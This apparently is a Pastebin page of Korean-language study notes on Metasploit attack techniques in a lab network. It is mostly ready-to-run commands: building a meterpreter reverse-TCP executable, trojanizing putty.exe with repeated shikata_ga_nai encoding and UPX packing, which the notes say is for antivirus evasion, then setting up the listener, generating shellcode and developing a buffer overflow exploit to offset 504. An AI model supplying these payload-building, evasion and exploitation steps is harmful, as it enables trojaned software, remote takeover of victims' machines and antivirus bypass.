Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- payload로 악성코드 만들기
- msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.182.151 X > xxx.exe
- reverse_tcp를 할 수 있는 악성코드 만들었음 (151로 붙을 것임)
- 옵션 X는 실행파일로 만들것
- 핸들러 생성 (악성코드 감염pc가 붙을 수 있도록)
- use multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost 192.168.182.151
- exploit --> (포트를 열고 기다림)
- 취약한 PC에서 xxx.exe 를 실행하면 취약한 PC에서는 192.168.182.151로 연결한다.
- XOR인코딩 (거의 대부분이 XOR 인코딩이다)
- -reversing 하면 key값이 다 보인다.
- 난독화 하기 위해서 / 백신 우회를 위해서 인코딩 한다.
- #encoder 를 통한 백신 우회
- putty.exe 에 악성코드 삽입 (인코딩 하여 전달)
- msfencode -l (사용가능한 encode 확인)
- - x86/shikata_ga_nai 사용 (가장 인기가 좋음) po
- msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.182.151 R (row format의 의미) | msfencode -t exe -x /root/putty.exe -e x86/shikata_ga_nai -C 10 -o /var/www/test/putty.exe -k
- (-t type
- -x 실행파일경로
- -e encode
- -C 10 (10번 encode)
- -o 출력물 이름
- -k keep alive (putty를 계속보여줘라)
- )
- shikata_ga_nai로 10번 encoding 된 실행파일이 생성됨
- meta에서 multi/handler 를 이용해서, 포트를 열고 기다리면...
- 이를 취약한 PC에서 실행하면 meterpreter를 만날수 있다.
- 다중 인코딩
- msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.182.151 R| msfencode -t exe -e x86/shikata_ga_nai -C 10 -t raw |
- msfencode -e x86/alpha_upper -c 3 -t raw | msfencode -e x86/counterdown -c 5 -t exe -o /var/www/putty.exe -k
- #upx (Ultimate Packer for eXecutable) 패킹 (or 더미다)
- 패킹 (실행파일 압축 - 독립적으로 풀린다, 디코딩/인코딩 코드를 다 가지고 있다.)
- upx -9 -o /var/www/test/putty2.exe(산출파일,목적파일) /var/www/test/putty.exe (원본파일)
- /var/www/test/putty.exe 를 패킹하여, putty2.exe를 생성한다.
- (백신을 우회할 수 있는지 확인해보자)
- 결과 putty.exe (정상) - 483,328
- 인코딩 putty.exe - 487,424
- 패킹 putty2.exe - 252,928
- #쉘코드작성 (쉘코드와 payload는 같은 개념이다)
- use payload/windows/shell/reverse_tcp
- generate -h
- generate
- --쉘코드가 나온다.
- (쉘에서는 /x00 (null) /xff 등의 코드들은 파싱될 때 잘못 번역이 될수 있다. - 이를 대응할 수 있도록 바꿔줘야 한다)
- 네트워크 캡춰해서 제대로 쉘코드가 날아가는지 봐야 한다. (쉘코드를 번역해서 봐야 한다)
- bad 캐릭터 빼고 생성시
- generate -b '\x00\xff'
- \x00, \xff 는 빼고 생성한다.
- generate -b '\x00\xff' -e x86/shikata_ga_nai -f /root/shell_test.txt
- 특정 코드 빼고, 인코딩 한 뒤에 shell_test.txt로 파일로 만든다.
- #소스코드 보기
- bof
- pr
- buf = 500 인데, message는 5,000까지 받을 수 있음.
- bof 발생 가능성 있음
- 서버 프로그램 띄어 놓고 data를 보내 본다.
- perl -e 'print "A"x400' | nc 192.168.182.134 200(port)
- 500 이하는 정상, 500이 넘으면 에러가 난다.(bof)
- return (ret) 주소를 찾아서 buf가 넘치게 해서, 넘치는 위치에 쉘코드를 넣는다.
- 기존 악성코드를 하나 복사한다.
- /opt/metasploit/msf3/modules/exploits/windows/misc (missconfig)
- copy windows_rsh.rb -> windows_test.rb
- vi windows_test.rb
- (exploit 이란 명령 이후 실행되는 부분을 수정)
- 테스트로 spliit = 'A'*1000 를 보낸다.
- port를 200으로 수정
- 이후 msfconsole 실행
- search windows_test 찾기
- use exploit/windows/misc/windows_test
- show options
- set rhost 192.168.182.134
- A를 1000개 보내서 결과값을 확인한다.
- debuger lfp00 (ollydebuger를 켠다)
- 오프셋 길이와 ret를 알아내야 한다.
- opt/metasploit/msf3/tools
- --> patern_create.rb 겹치지 않는 문자열 생성
- ruby pattern_create.rb 600 (600개 생성)
- 생성된 문자열을 A*1000 대신에 추가 해 준다.
- 이는 오프셋길이를 알기 위해서 한다. (어느 글자에서 오프셋이 걸리는지..)
- 그리고 다시 meta에서 exploit 한다.
- 올리에서 확인
- ruby pattern_offset.rb EIP (41387141) 600
- -- offset 504 가 출력되었음 (buf를 넘치게 할 수 있는 값은 504다)
- 이제, windows_test.rb에서
- space값을 수정한다.
- dll에서 확인한다. esp, push, ebp
- ret는 동적으로 변함
- wsock32.lib --> push, esp, ret
- 해당 프로그램은 wsock32를 불러올거니 findjmp2를 이용해서 esp -ret 값을 확인한다.
- (그림 참조)
- offset / ret (0x71AB1D54 - esp -ret)값을 확인해야 함
- 이 값은 자주바뀌니 이를 불러오고 있는 dll에서 값을 확인한다.
- 리틀인디안 확인
- exploit-db.com 에서 metasploit에서 작성한 .rb 파일을 받아서, 이를 metasploit 디렉토리에 넣어주면 된다.
- 취약한 실행파일까지도 지원 해준다.
- 이를 메타에서 테스트 하면 된다.
- 다른 언어를 rb로 포팅
- python은 바로 rb로 이름만 변경하면 거의 사용 가능
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement